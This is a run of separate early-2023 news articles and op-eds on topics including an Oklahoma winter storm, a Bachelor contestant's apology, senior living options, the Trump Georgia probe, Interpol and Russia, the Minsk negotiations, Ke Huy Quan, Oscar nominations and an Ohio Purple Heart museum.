Oklahoma City, Purcell and El Reno (among others) have altered their basketball schedules for Tuesday.

Snow begins to collect on a fence in Yukon, Okla. on Tuesday, Jan. 24, 2023, as winter weather makes its way across the state.

OKC-area schools, services closed Tuesday

Oklahoma City Public Schools and several area colleges and universities announced late Monday they would move to virtual learning Tuesday ahead of the expected winter storm.

The University of Central Oklahoma, Oklahoma City University and the University of Oklahoma (among others) have also moved to distance learning on Tuesday.

Several tribal headquarters are also closed in response to the storm. The closures include the Apache, Caddo, Cheyenne and Arapaho, Comanche, Delaware Nation, Iowa, Sac and Fox and Seminole nations.

How has winter storm affected Oklahoma roads?

Road conditions in western Oklahoma were beginning to deteriorate Tuesday morning as bands of precipitation began moving in from west Texas.

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The Oklahoma Department of Transportation said its crews were monitoring bridges and overpasses Tuesday morning and treating as needed.

In Oklahoma City, 25 trucks, outfitted with salt spreaders and plows were dispatched around midnight. The crews will be servicing the city's snow routes.

The city this week began experimenting with adding beet juice to the salt brine mixture used to treat bridges and overpasses. The beet juice makes the mixture more effective in lower temperatures.

This article originally appeared on USA TODAY: Oklahoma City weather: Road conditions, snow forecast
ABC/Craig Sjodin

Bachelor Nation will never know peace. Were just one episode into The Bachelor Season 27, and Zach Shallcross frontrunner24-year-old Texas native Greer Blitzeris already apologizing for the franchises latest racism scandal. She posted her apology Tuesday via Instagram Stories, writing that she used misguided arguments on Twitter to defend a student who dressed in Blackface as Tupac for Halloween.

Like most Bachelor-related scandals, this ones apparently been brewing online for a while. Months ago, a Reddit user posted screenshots that appeared to display the future contestant defending another student whod worn blackface, as well an image in which she wore a Trump campaign sticker.

The journey to love is filled with lessons and these lessons are also made on our journey of growth, Blitzer wrote, in part, as first reported by Us Weekly. In my past, I have made some uneducated, ignorant and frankly, wrong comments on my social media accounts.

I am deeply sorry to those I have hurt, especially those within the Black community, not because these screenshots have resurfaced, but because I ever shared these harmful opinions at all, Blitzer continued. Time and age do not excuse my actions, but this is not a reflection of who I am today.

I do not stand by or condone the damaging opinions and behaviors I have shared during that stage of my life, she concluded, and will forever regret making those offensive remarks.

Boring Bachelor Kisses 8 Women During Premiere, Sends One Home Early

At this point, racism scandals are reliable annual events in Bachelor Nation. Last year, Bachelorette winner Erich Schwer apologized for a photo that resurfaced from his high school yearbook in which he was wearing blackface. In 2021, longtime face of the show Chris Harrison lost his hosting gig after defending Bachelor winner Rachael Kirkconnells decision to wear blackface at an Antebellum South-themed party held in 2018 while she was in college. Former contestant Lee Garretts easily searchable tweets comparing the NAACP to the Ku Klux Klan somehow did not prevent him from joining Rachel Lindsays seasonin which she made history as the first Black Bachelorette. Also: Who could forget Garrett Yrigoyen, whose problematic Instagram likesincluding posts mocking immigrants and Parkland studentsovershadowed most of Becca Kufrins Bachelorette outing? And thats saying nothing about how disastrously the show bungled Matt James season as the first Black Bachelor in 2020.

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Like Yrigoyen and Schwer before her, it appears Blitzer might go far this season. She won the coveted First Impression Rose during Mondays Bachelor premierein which the notoriously boring Shallcross somehow managed to kiss not one, not two, but eight of his contestants. Once again, it looks like Bachelor contestants are going to spend the next few weeks reconciling the shows on-screen excitement with the bleaker, far less amusing real-world scandals that underpin it. Its nothing fans havent done before, but it sure would be nice if someone could figure out a way to stop this from happening every season.

Read more at The Daily Beast.

Get the Daily Beast's biggest scoops and scandals delivered right to your inbox. Sign up now.

Stay informed and gain unlimited access to the Daily Beast's unmatched reporting. Subscribe now.
Evaluating how well a senior can perform daily activities can help determine if they would benefit from assisted living.

Q: What are the different options for living situations as I age?

A: That is a great question, because there's so much to choose from.

When I meet with families about this, I always ask, What would be your ideal living situation as you age?

I hear many different answers. Florida is a popular retirement destination, so it comes as no surprise that retirement living options abound.

There are active senior communities, 55+ communities, independent living communities, continuing care retirement communities and some with a combination of attributes.

Lets take a closer look at retirement communities and senior living options.

Previous One Senior Place columns:

You need your Zzzs:As you get older, your sleep habits change. Here's how to improve sleep

They know things you don't:Why do you need an attorney for estate planning? They know things you don't

Long-term care:Insurance options for long-term care have improved. Know your options

Lisa Conway, RN, is a Certified Care Manager for One Senior Place in Viera.

Age restricted communities usually require at least one resident to be of a certain age  typically 55. Health care services are not typically provided to residents in this type of community unless they are brought in privately.

Independent living communities are designed to enable healthy, independent older adults to enjoy a lifestyle filled with recreational, social and educational opportunities. These communities are often age restricted also and typically dont provide health care services, unless brought in privately.

Assisted living facilities provide a special combination of residential housing and supportive health care services. Residents of assisted living facilities typically need additional help with some activities for daily living, enabling them to maintain as much independence as possible.

Memory care facilities can be attached to assisted living communities or may stand alone. These communities specialize in caring for those diagnosed with some type of memory impairment. The buildings are usually designed with special features, while the staff receives training for coping with safety and behavioral issues, in addition to providing assistance with activities for daily living.

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Nursing homes and skilled nursing facilities are options that provide 24/7 nursing, for those in need of a higher level of care.

Continuing Care Retirement Communities (CCRC) are a type of retirement community that provides seniors with a full spectrum of lifestyle and health care options. You can expect to find independent and assisted living  all the way to skilled nursing care, provided on one campus. CCRC contracts vary, but most will provide an inclusive life care guarantee of healthcare to residents.

We have all of these options right here in Brevard County.

To learn more, join me at the Center for Collaboration in Rockledge on Friday, Feb. 10 for Senior Living Options Day, hosted by One Senior Place. You can compare local communities, browse vendors and enjoy the chef competition for best appetizers and desserts! RSVP online at OneSeniorPlace.com or call 321-751-6771.

One Senior Place is a marketplace for resources and provider of information, advice, care and on-site services for seniors and their families. Questions for this column are answered by professionals in nursing, social work, care management and in-home care. Send questions to askOSP@OneSeniorPlace.com, call 321-751-6771 or visit One Senior Place, The Experts in Aging.

Lisa Conway is a Registered Nurse and a Certified Care Manager for Senior Partner Care Services, Viera. Ms. Conway hosts a monthly seminar, 'Senior Health Friday with Nurse Lisa.'

This article originally appeared on Florida Today: Here are six options seniors have for retirement living options
It's Tuesday, OnPolitics readers, and we have a rundown of the status of the anticipated grand jury report from an investigation of former president Donald Trump.

From reporter Kevin Johnson in today's live blog:

A Georgia judge on Tuesday did not make an immediate decision on the release of a grand jury's monthslong examination of interference in the 2020 election.

What was the investigation about?: The inquiry started in early January 2021 with former President Trump's call to Georgia Secretary of State Brad Raffensperger, in which the former president urged Georgia's top election official to "find 11,780 votes" to tilt the 2020 statewide election in his favor. The inquiry has since expanded to include a wide-ranging examination of election fraud.

What the judge said: "There will be no rash decisions," Superior Court Judge Robert McBurney said, citing the extraordinary nature of the investigation.

Georgia DA argued report should stay secret: Fulton County District Attorney Fani Willis said the report should remain under wraps for now.

Media said it should be released: An attorney for a national media consortium that includes USA TODAY argued for the report's immediate release, citing an "extraordinary" public interest in the inquiry.

 Keep reading the live blog for more details + updates

 Takeaways: Decisions in Trump Georgia election probe are 'imminent', but no report yet

Real quick: Stories you'll want to read

Classified docs found at Pence's home : This is the latest in a series of scandals involving classified documents at the homes of elected officials and former elected officials.

Senate talks Swift tickets: The Taylor Swift ticket debacle took center stage during a Senate hearing, which examined the lack of competition within the ticketing industry and grilled Ticketmaster executive following the company's mishandling of the music superstar's concert tickets.

DOJ files suit against Google parent company: Attorney General Merrick Garland announced that the Department of Justice filed an antitrust lawsuit against Googles parent company, Alphabet Inc., setting its sights on the companys stranglehold on the digital advertising market, particularly the technology underlying digital advertising.

Florida Gov. Ron DeSantis' ally for anti-vaccine voters: With DeSantis expected in coming months to formally launch his bid for the 2024 Republican presidential nomination, Fla. surgeon general Dr. Joseph Ladapo is emerging as a central player in the governors outreach to vaccine skeptics and opponents who now form a stunningly large part of the GOPs national voter base.

 Looking to 2024: The countdown to the 2024 election is on with candidates beginning to announce their intentions to run for Senate seats  or give them up, reporter Rachel Looker writes. Here are the candidates who have announced plans for a 2024 Senate bid.

This article originally appeared on USA TODAY: Will the Trump grand jury report be released? Here's what to know.
Interpol  the international law enforcement organization that helps countries nab fugitives  has effectively sided with Russia in its war on Ukraine.

Interpols member countries pledge to work together to prevent genuine criminals from escaping justice, and the system is based on the presumption that all its members are acting in good faith. But like other authoritarian members of Interpol, Russia abuses that presumption to pursue enemies of Putins regime. That has to stop, and Interpol has all the tools it needs to do so  including suspending Russia from the organization.

In response to Moscows unprovoked invasion of Ukraine, the U.S., U.K. and other allies last year sought to suspend Russia from Interpol. The group resisted, emphasizing its neutrality and claiming that it can do more good with Russia on board: As long as the Interpol network can assist in the rescue of one child abuse victim  it is its duty to ensure that lines of communication remain open.

Thats false. Interpol was formed to disseminate information to aid the search for alleged criminals while preventing the abuse of its systems by member states. But the organizations highest responsibility isnt actually to help catch criminals.

Interpols own Constitution famously states that it must operate in the spirit of the Universal Declaration of Human Rights, which enshrines the presumption of innocence and the right to private property. But authoritarian regimes like Russia and China often abuse Interpol in order to harass their critics or to justify their theft of business assets.

Interpol wants to avoid anything that would lead any of its member nations to quit or be suspended, for fear of diluting its global influence. For that reason, it asserts theres no provision in its Constitution for suspending a member.

Thats technically true; the provision for suspension isnt in Interpols Constitution. Its in Article 131 of Interpols Rules on the Processing of Data, which entitles Interpol to suspend the access rights of any member state for up to three months.

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Moreover, if Interpols Executive Committee approves, a nation can receive a long-term suspension. Unfortunately, that committee is currently dominated by autocracies and Interpol abusers. Its unlikely that the UAE, China, Egypt and Turkey will vote to suspend one of their comrades in abuse.

Interpols defense for its inaction  a defense regularly reiterated by its secretary general, Jurgen Stock  is that Interpol was founded on neutrality and on apolitical cooperation against ordinary law crimes: offenses like murder, rape and robbery.

But practicing neutrality doesnt mean ignoring systemic abuse. Interpol regularly allows spurious allegations of fraud, or false allegations of ordinary crimes, to be used to attack political or business opponents.

Stock has argued that there is no trade-off between offering the widest possible mutual assistance to police and Interpols neutrality.

But when the police are the criminals, there is indeed a trade-off. Regimes like Russia and China dont recognize the distinction between ordinary crimes and political offenses  a distinction on which Interpol is based.

By ignoring that distinction, Interpol winds up acting as an arm of a criminal regime to go after its enemies, in the words of Bill Browder, the Putin critic and foremost target of Russias Interpol abuse. The Kremlin has repeatedly asked Interpol to arrest Browder, who has called out Russian corruption, though Interpol has rebuffed the requests.

Interpols neutrality on Russias membership amid the war in Ukraine comes down to refusing to do anything that could be perceived as taking sides. That isnt neutrality; its blindness. True neutrality means enforcing Interpols rules against all comers, regardless of the identity or the reaction of the rule-breaker.

Interpols blinkered vision of neutrality doesnt just affect courageous activists like Browder. It threatens the U.S. In 2018, the U.S. requested, and got, an Interpol Red Notice to try to apprehend Yevgeny Prigozhin, a Putin crony and the founder of Russias notorious mercenary Wagner Group.

But in 2020, after a complaint was filed by Prigozhins attorneys, Interpol withdrew the Notice on the grounds that it would have significant adverse implications for the neutrality of Interpol by causing it to be perceived as siding with one country against another.

Interpols vision of neutrality rests, as Stock states, on the belief that if there is any state activity, Interpol is not conducting any activity. But if the state is the one committing the crimes, Interpols efforts to remain neutral put it tacitly on the side of criminal states like Russia.

Unfortunately, after taking a strong stand last March in demanding Russias suspension, the Biden administration has backtracked. In August, the State Department and the attorney general published a report that found  in defiance of the evidence published by Interpol itself  that there has been no Interpol abuse since 2019.

Incredibly, the U.S., which pays the largest share of Interpols bills, is now so afraid of pointing fingers at the abusers and standing up for Interpols rules, that it cant bring itself to cite the State Departments own Country Reports on Human Rights, which testify to the ongoing reality of Interpol abuse.

Interpols critics are not always on target. The organization is right to resist calls, such as a recent one from the Wall Street Journals editorial board, to get involved in areas outside the ordinary crimes to which it is restricted by its Constitution. Interpol isnt supposed to pursue offenses of a military character, even ones as well-documented and massive as Russias violations of human rights and commission of war crimes in Ukraine.

The question is not whether Russia is in the wrong in Ukraine. Russia is in the wrong, and Russia should be held to account. But Interpol is not the right tool to use for that purpose.

Interpol has enough trouble preventing abuse of its systems already. If it gets involved at the behest of the combatants in pursing war crimes, it will be faced with rampant politicization. Those who are concerned about Russias politicization of Interpol should not respond by urging Interpol to break its own rules.

At the same time, there is a right way to get Interpol involved in this fight. The international community could establish a tribunal to try Russians for offenses related to genocide, crimes against humanity, and war crimes. The tribunal could then enter into cooperation with Interpol and make requests to locate and detain suspects.

This is the procedure established in 2010 by Interpols General Assembly, which is designed to ensure Interpol does not turn into a judge of the rival claims of warring combatants. The European Parliaments recent designation of Russia as a terrorist state is a significant step in this process.

Until an international tribunal is established, Interpol has plenty of work to do. Above all, it needs to stop telling half-truths about its rules, abandon its biased vision of neutrality, and start living up to its fundamental requirement to enforce its own rules, even if Russia and China perceive that as taking sides.
You are here: World

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Kuwait cabinet resigned on Monday after disputes with opposition-led parliament.

Prime Minister Sheikh Ahmed Nawaf al-Ahmed Al-Sabah submitted the cabinet's resignation to Crown Prince Sheikh Meshal al-Ahmad al-Jaber Al-Sabah, the official KUNA news agency said.

The resignation was sparked by a deadlock between the executive and the legislative authority, KUNA cited the cabinet's statement, without elaborating.

Parliament had been scheduled to convene on Tuesday.

The outgoing cabinet, which was sworn in in October, was the sixth in three years in Kuwait. In September, Kuwait held its sixth election in a decade, forming an opposition-led parliament.
A s Russias total aggression on Ukraine nears its first year, some people in the United States and elsewhere in the West continue to suggest that Ukraine needs to engage in peace negotiations with Russia as soon as possible. They may have good intentions, but they dont seem to recognize that Russia has not proposed any meaningful talks and remains focused on destroying Ukraine militarily.

But theres a bigger point that the peace at any cost camp ignores: We have already spent over eight years negotiating with Russia.

The so-called peace talks known as the Minsk process was initiated in 2014 and included Ukraine, Russia, France and Germany. For eight years, Ukraine and the West tried to end the war by means of politics and diplomacy. Ukraine agreed to freeze battle lines and engaged in years of fruitless negotiations in order to, seemingly, avoid escalation and preserve peace in Europe.

Needless to say, it didnt work. While we were holding back, Russia was building up. The Minsk process ended when Russia unleashed a devastating total war of aggression on Ukraine at the end of February 2022.



Thats why the entire international community should carefully study the lessons of Minsk in order to restore international peace and security today and avoid falling into new Russian traps.

Here are five lessons we learned from negotiations with Russia.

Lesson #1: Its a mistake to freeze the war and postpone the solution of territorial problems for the future.

The architects of Minsk believed that fixing the status quo and decreasing hostilities would be enough for the conflict to gradually ease. This belief, based on a false premise of Russia's alleged willingness to compromise, led to a real disaster for Ukraine, the European order and the world.

In fact, from the inception of the Minsk agreements and throughout the Minsk process, Moscow was preparing for a full-scale war on Ukraine. While Russian representatives kept imitating diplomacy, the Kremlin was quietly building up its military forces and planning to destroy the democratic international order with a single devastating blow.

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Lesson #2: Russia doesnt negotiate in good faith.

The world saw Minsk as a platform for dialogue and a path to peace, while Russia saw it as an instrument to steadily pursue its aggressive goals and destroy Ukraine by means of political pressure and without the need to launch a full-scale invasion.

From the very onset, Russian President Vladimir Putin wanted to dismantle Ukrainian statehood. If that was achievable by political and diplomatic means, fine, and he tried to use Minsk to erode Ukrainian sovereignty. But if that didnt succeed, he planned all along to annihilate Ukraine by brute military force.

The Minsk agreements were doomed to fail for only one reason: The Russian regime never sought fair peace and fair play. Even on the eve of the full-scale invasion, Putin continued to lie straight into the faces of world leaders, denying plans to attack.

Deception lies at the core of Russias foreign policy and the way it treats international partners  both in Europe, Africa, Asia and other regions. Victims, weaklings, henchmen  this is whom Moscow prefers to see on the other side of the table.

Lesson #3: The de-occupation of Crimea can't be set aside.

Western strategy to counter the Russian threat should have been based on decisive steps to de-occupy all Ukrainian territories as early as 2014.

Even now, when I say Ukraine aims to fully restore its territorial integrity, journalists sometimes decide to clarify: Including Crimea? This question is senseless and only reinforces the Russian narrative that Crimea is special. No, its not. Crimea goes without saying. One of the gravest mistakes of Minsk was to allow Russia to believe that the issue of Crimea was off the table.

There is no, and has never been any, difference between Crimea, Donbas, Kherson, Kyiv and other regions. Each of them is significant for the real protection of European and world security. When the West agreed to de facto close its eyes to Crimeas annexation, it gave the green light to new Russian imperialist encroachments.

Lesson #4: Russia does not reciprocate with constructive language and policy.

How many times have we heard from Russian leaders that they were cheated or outwitted by others? But this is only a projection of their own goals, because for Russia, any victory is someones defeat. Putins Russia has been inventing complex combinations to deceive others, and not to find a common interest, even the most pragmatic one.

In Putins mind, any compromise is a weakness. This is why the only way to speak to him is in the language of strength. Today, Putin has made his final bet by deciding to proceed with a genocidal war of aggression on Ukraine at any cost. This means there is nothing to talk about with him anymore. He made his choice and must be defeated.

Lesson #5: Partners should force Russia, not Ukraine, into concessions.

In 2015, Ukraine still stood on shifting sands. We had just begun rebuilding our army, parts of our territories were occupied and the economy had just begun recovering from the shock of revolution and war. Russia had a powerful army, levers of energy pressure and networks of agents of influence.

Some of our partners thus tried to pressure Ukraine to be constructive, because we had more difficulty saying no.

Despite all the flaws of the Minsk process, Ukraine adhered to its obligations. Together with France and Germany, we sought a transparent settlement and a just peace. The Russian regime, in its turn, did not fulfill a single point of the Minsk-1 and Minsk-2 agreements.

Neither the first, a full cease-fire, nor the second, the withdrawal of all heavy weapons, nor any further points: the permission of OSCE monitoring, the all-for-all exchange of political prisoners and prisoners of war and establishing an international mechanism for the delivery of humanitarian aid.

Since his election in 2019, Ukraines President Volodymyr Zelenskyy has tried to turn the Minsk process around, drive it out of its dead end, despite all its flaws. Under his presidency, Ukraine held 88 rounds of negotiations with Russia. Efforts to find a transparent and honest solution fell on deaf ears in the Kremlin. Russians did not want a settlement, let alone a just peace. And Russia was cynical enough to demand from others that Moscows security concerns should be heard.



Now that the Kremlin failed to achieve the goals of its full-scale aggression, its now trying to outfox Ukraine and the international community. Russias latest statements hint at their wish to secure a new Minsk agreement, a new trap for the world. But what Russia really wants is a pause, not peace.

Any hypothetical Minsk-3 can have only one result: an even bloodier war, which will affect not only Ukraine, but draw in the entire Euro-Atlantic space and the world as a whole. Repeating mistakes will not yield better results.

No other nation craves peace more than Ukraine. But we need a just and lasting peace which will prevent any new genocidal war against Ukrainians and other nations. That is why Zelenskyy proposed a Peace Formula with 10 specific steps covering the restoration of nuclear, food and energy security in the interests of the entire international community.

If the entire international community takes a strong, consolidated position, then Russia will have no other option but to stop its killing of Ukrainians and engage in real substantive negotiations. The united will of the world is key to effective diplomacy and achieving sustainable peace for many decades to come.

Furthermore, I believe that the voice of the West is not enough to solve the global security crisis triggered by Russias war and guarantee long-term international peace. We have reached a turning point when the position of the states of the Global South can help achieve this result. The fate of the diplomatic resolution of the war depends on the countries of Asia, Africa, the Middle East and Latin America stepping up and using their weight and influence. Every voice and every country is important, because in the U.N. charter there are no big and small states, influential and non-influential ones, champions or outsiders.

Those who sincerely seek peace should join the consolidated international efforts on implementing the Ukrainian Peace Formula. We designed it in a flexible way allowing states to commit only to those elements of the formula which they fully share and take leadership in certain specific areas of peacebuilding efforts without committing to the other ones.

The flaws of the Minsk process must not be repeated. In fact, they must serve as an example of how not to negotiate with Russia. In diplomatic language, to minsk, minsking has become shorthand to describe attempts to negotiate an end to a war which only brings the opposite result and allows an aggressor to launch an even bloodier and tougher aggression.

Therefore, my message today is simple. Dont minsk Ukraine and the world again!


Ke Huy Quan kept his role in "Everything Everywhere All At Once" a secret because he wasn't sure how it would shake out. A24

Ke Huy Quan kept his acting return in "Everything Everywhere All at Once" a secret from his family.

Quan told the "Happy Sad Confused" podcast he wasn't sure if he was "gonna be any good."

He recalled how hard it was to land jobs after childhood roles in "The Goonies" and "Indiana Jones."

Oscar nominee Ke Huy Quan has received critical acclaim for his performance in the multiverse film "Everything Everywhere All at Once," but he initially kept the role a secret from his entire family until well after he finished filming the A24 hit.

"I didn't tell my mom. I didn't tell any of my siblings or my nephews or nieces. Nobody. After I got the role of Weyman in 'Everything Everywhere,' I made the entire movie without them knowing," Quan recently told journalist Josh Horowitz on the "Happy Sad Confused" podcast while speaking about his career.

Quan, who starred in "Indiana Jones and the Temple of Doom" and "The Goonies" as a child, said he kept the "Everything Everywhere" news from his family up until the day before the film's first trailer was released in December 2021.

"It was just my wife, my agent, and my lawyer, who is Jeff Cohen, who's Chunk in 'The Goonies' with me," Quan said of the only three people who knew he was cast in "Everything Everywhere." "I was so afraid. I didn't know if I was gonna be any good at it. I didn't know if I was gonna get fired."

"The day before our trailer dropped, I called my mom and I called my family and I said, 'Hey, I got a little bit of news to share with you," Quan said. "I'm an actor now. I just made this little movie and the trailer's gonna come out tomorrow."

At the time, his family watched the trailer, they were "very happy" with it, and that was that.

When the movie was finally released three months later, "Everything Everywhere" became a critical and financial success. Grossing over $100 million, the film is A24's highest-grossing movie to date.

Quan has won over 50 awards for his multi-layered role in the film as a husband whose life is seen across multiple parallel universes, allowing the actor to give a range of performances.

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Ke Huy Quan then and now in "Indiana Jones and the Temple of Doom" (left) and "Everything Everywhere All At Once" (right). Paramount/Getty Images, A24, composite by Kirsten Acuna/Insider

After screening the film, Quan received a phone call from his parents. They were shocked to learn how much their son downplayed his role.

"They call me and the first thing they say was, 'Ke! Wow. You know, I didn't even know  You're in this movie a lot,'" he said. "They thought it was just a small role and I said, 'Yeah, I'm in this movie a lot.' And they go, 'You're like one of the leads.'"

"They were so, so happy for me," Quan continued. "To be able to share all of this with them. Seeing their reaction of how happy I am now is an incredible feeling."

For Quan, his return to Hollywood has been a long, difficult journey.

During the 43-minute conversation with Hororwitz, Quan emotionally detailed how hard it was for him to find work after starring in both "The Goonies" and "Indiana Jones" in the late '80s and '90s, describing the lack of roles available for Asian American actors.

"I was waiting a year, a year and a half between jobs," he said. "If you look at my resume, some of those jobs were just minor characters. I would wait a year and a half and I would work for a week and I would wait for another year before I would get another opportunity to audition."

Ke Huy Quan poses in the press room at the 28th Annual Critics Choice Awards at Fairmont Century Plaza on January 15, 2023 in Los Angeles, California. Jeff Kravitz/FilmMagic via Getty Images

When his peers told him they had multiple auditions per week, it prompted him to reach out to his agent. But he'd always be told the same response: "Sorry, there's nothing there. But I'll keep checking and I'll call you if there is something that comes up."

At one point in his early 20s, Quan recalled being "so hungry" for a role that he auditioned against about 30 other Asian actors for a nameless Vietcong role with two lines of dialogue.

He didn't get the part.

"It was a gradual decline and what was painful for me was my family, knowing what I was going through," Quan said of the lack of auditions and rejection while fighting back tears.

At one point, Quan was offered to join the family business back in Texas as an alternative to acting.

"They would always see me just waiting and waiting for an opportunity and they were very supportive. They were very caring," Quan said. "They would say, 'Hey Ke, is there anything else you want to do? Do you want to come up to Houston, Texas with us and join the family?' and I would always say, 'No, no. I want to give this some more time and see if something would change.'"

Kelsi Ephraim, Jason Kisvarday, Zak Stoltz, Harry Shum Jr., Stephanie Hsu, Dan Kwan, Jonathan Wang, Michelle Yeoh, Daniel Scheinert, Shirley Kurata, Ke Huy Quan, Paul Rogers, and Jon Read, winners of Best Picture award for "Everything Everywhere All at Once", pose in the press room during the 28th Annual Critics Choice Awards at Fairmont Century Plaza on January 15, 2023 in Los Angeles, California. Emma McIntyre/Getty Images for Critics Choice Association

After failing to land roles, he transitioned to a life behind the camera, often helping to choreograph fight scenes in films including 2000's "X-Men." After watching 2018's "Crazy Rich Asians," Quan decided to give acting one more shot before he called it quits.

When Quan was offered the part in "Everything Everywhere," he decided to keep it to himself because he wanted to make sure it all came together.

"They saw my passion. They saw my struggles. They've been so supportive. They've always been there for me," Quan said of his family.

Read the original article on Insider
Netflix

When the 2023 Oscar nominations were announced early this morning, there was one name that came up over and over that might have been familiar, but not necessarily recognizable: All Quiet on the Western Front.

Germanys entry for Best International Film came out with a whopping nine nominations when all was said and done, including Best Picture. It collected so many nominations that it was tied for the second-most of any film, alongside The Banshees of Inisherin, and tailing just behind Everything Everywhere All at Onces 11 nominations.

Besides the biggest prize, All Quiet on the Western Front came away with nods in the categories for Best International Film, Best Adapted Screenplay, Best Music (Original Score), Best Cinematography, and a number of other technical categories. To put it plainly: it cleaned the hell up.

The film is an epic saga of the final days of WWI, told from the perspective of a young German soldier named Paul (Felix Kammerer), who enrolled in the Army to support his country. Years later, hes faced with the grim, mortal realities of war and questioning his devotion to his country and its government. Its based on the classic 1929 novel of the same name, which you mightve read in your high school history class (or used as a pillowthe book is unforgettably dense, despite only being about 200 pages).

It also has a bit of Oscar history: The first film adaptation of the book won Best Picture at third-ever Academy Awards in 1931.

fun fact: if All Quiet on the Western Front gets nominated tomorrow, it will be the 4th time in 5 years that a remake/re-adaptation of a previous Best Picture nominee is nominated. It would follow A Star is Born, Little Women, and West Side Story. pic.twitter.com/PGF6w1eFQF  Wendell (@RhodeToLove) January 23, 2023

All Quiet on the Western Fronts number of nominations may not have come as a surprise to anyone who watched the film, but it still left several people flabbergasted over their morning coffee. What is All Quiet on the Western Front, like what is this movie, who is in it, and why is the first time Im hearing about it today in the nominations? one Twitter user questioned.

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Others posited that Netflixwhich distributed the film, and where its currently streaminghad a hand in their film sweeping the nominations. [Lets be real], Netflix bought all those All Quiet on the Western Front noms, right? they asked. No hype, no particular critical acclaim, surely no popular backing.

But thats not necessarily true. The film was nominated for a Golden Globe, a Critics Choice Award, and 14 BAFTAs. To say it hasnt been in the conversation speaks a little more about how we view international contenders weighed against American films.

18 Biggest Oscar Nomination Snubs and Surprises

Still, it hasnt had a major presence among the big categories at other awards shows over the last few weeks. It also wasnt talked about for acting and directing categories like other international films, including Park Chan-wooks Decision to Leave, which garnered buzz and support for its lead actress and direction, but was ultimately shut out entirely by the Academy.

Considering that awards season often feels as endless as a war movie, its not exactly surprising that so many people are baffled by All Quiets sudden surge. Even if you barely follow the precursor ceremonies that lead up to the Oscars, theres typically a general awareness of the movies that are strong contenders in the Best Picture race. Even if they are smaller (like Everything Everywhere All at Once started out as) or artsy (like TAR), they at least are mentioned so frequently that most people know theyre a part of the major awards conversationor, you know, even exist.

But it was really only after the huge BAFTA recognition that pundits started squeezing in a spot for All Quiet, which beat out other films that had been more saturated in the cultural dialogue like The Woman King or The Whale. Hell, I just found out All Quiet isnt a miniseries three weeks ago.

Netflix

Every year, there are a handful of films that appear among the lists of Oscar nominations that make people say, Well, duh. Despite the Academys best efforts to change its stripes, these movies seem to make it into the Oscar race like clockwork, eliciting a groan and eye roll from the general public.

A biopic about Winston Churchill in which its actor donned a fat suit? Duh. A saccharine, white savior drama? Major Duh movie. An expensive, flashy musical with big stars to draw in the holiday crowds and clinch a late leg up in the race? Three Duhs in the last decade alone.

War movies like All Quiet on the Western Front certainly fall into that category. Since 2010, the Academy has nominated War Horse, 1917, Dunkirk, Zero Dark Thirty, and American Sniper for its biggest prize. Unsurprisingly, this years inclusion of All Quiet has left people wondering, Why is there always a war movie?

The Oscars Best Actress Race Took a Shocking Step Backward

Technically, All Quiet on the Western Front is different. Its not told from the America-first perspective were so used to from films that often veer on propaganda like American Sniper and Zero Dark Thirty. Its also not a pro-war film, like War Horse, which exalted the glory of loyal battle steedswhich was as funny as it sounded.

All Quiet on the Western Front is an exceedingly dour and hopeless story, one that digs deep into the traumatic effects of war as its happening. It questions the systems that have long been set in place by governments, and the expectation to put country before self. Its not the stereotypical war film; All Quiet on the Western Front is firmly an anti-war epic.

But the biggest question of all is whether it can take its hefty number of nominations and pull a surprising sweep come Oscar night. An International Film category nominee crossing over into Best Picture had been historically rare, but as the Academy diversifies globally has become more common in recent years, culminating with Parasites landmark Best Picture win in 2020. But All Quiet on the Western Front collecting so many technical nominations as an international competitor is certainly surprising.

Maybe as a collective, itll bowl over votersas Parasite did. And maybe, just maybe, itll bowl you over, too, changing your mind about what a war movie really can be.

Read more at The Daily Beast.

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Ottawa County Museum Curator Peggy Debien, Area Heritage Foundation President James Rusincovitch and Museum Board Member David Barth display the Purple Heart Museum sign that will be displayed outside the building. The museum was designated a Purple Heart Museum thanks to the efforts of Barth.

PORT CLINTON - While driving in southern Ohio, David Barth noticed a sign that said, Purple Heart City. He had no idea what it meant, but as a man whose family and home county have a rich military history, he wanted to learn more. Barth researched the sign and discovered it was part of the Purple Heart Trail, a nationwide initiative to honor Purple Heart recipients and place visual reminders of their sacrifices in public places.

I dont know what road I was on or what city I was in, but I went to the website and found that counties can be Purple Heart counties, cities can be Purple Heart Cities, and even museums can be Purple Heart Museums, he said.

The Purple Heart Trail began in 1992 in Virginia and now spreads across the country. Hundreds of entities carry Purple Heart designations, including cities, counties, universities and roads. Thanks to the efforts of Barth, the Ottawa County Museum joined the trail when James Rusincovitch, president of the Area Heritage Foundation dba Ottawa County Museum, signed a proclamation on Jan. 18 designating the museum a Purple Heart Trail Museum and declaring Jan. 18 as Ottawa County Museum Purple Heart Day.

Museum, county now in Purple Heart spotlight

The signing of the proclamation was attended by John Flores, Commander of Fort Industry Chapter 1981, Military Order of the Purple Heart in Toledo.

I want to thank the museum board. This is great, Flores said. This will put the museum and Ottawa County in the spotlight, not just in Northwest Ohio but regionwide and nationwide.

One of the requirements for becoming a Purple Heart Trail entity is the creation of a publicly available database of local Purple Heart recipients. This project has become a passion for Barth, who is actively searching for Purple Heart recipients from Ottawa County. The information he finds will be made available in a physical book at the Ottawa County Museum.

Area Heritage Foundation President James Rusincovitch, left, talks with Ottawa County Museum Board Member David Barth about the upcoming Purple Heart exhibit at the museum.

Museum turns to families to find Purple Heart recipients

The process to find Purple Heart recipients is not easy. The information is neither public nor readily accessible, so Barth is asking families of Purple Heart recipients to contact him. Although 1.8 million veterans have been awarded the Purple Heart since World War I, it is unknown how many of them have ties to Ottawa County.

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Its hard to find out because the information is private, Barth said. I have some information on KIAs, but I have to dig deeper and talk to families.

Purple Heart recipients or their families can obtain Ottawa County Purple Heart Registry forms from Barth by calling 419-357-2057 or emailing drb360@gmail.com.

Barths father served in the Army Air Corp during World War II, and his grandfather served with the 82nd Division in France during World War I. He understands the importance of honoring military sacrifices in his family and in Ottawa County.

We have such a rich military history here in Ottawa County. We have Camp Perry, Erie Ordnance, the War of 1812 and the Coast Guard station, Barth said.

Peggy Debien is the Ottawa County Museum curator and also a military veteran who is part of the countys longstanding military history.

We have many veterans here who served in wars. We dont know how many Purple Heart recipients we have, but we would like to recognize them, she said. Its good recognition for all veterans, because any veteran could have become a Purple Heart veteran.

Rusincovitch is grateful to Barth for bringing the Purple Heart Trail to Ottawa County.

Its important for several reasons. We had a lot of people here from the tank company in Bataan, and we have Camp Perry and a Civil War cemetery, Rusincovitch said. Dave has done a tremendous job on this.

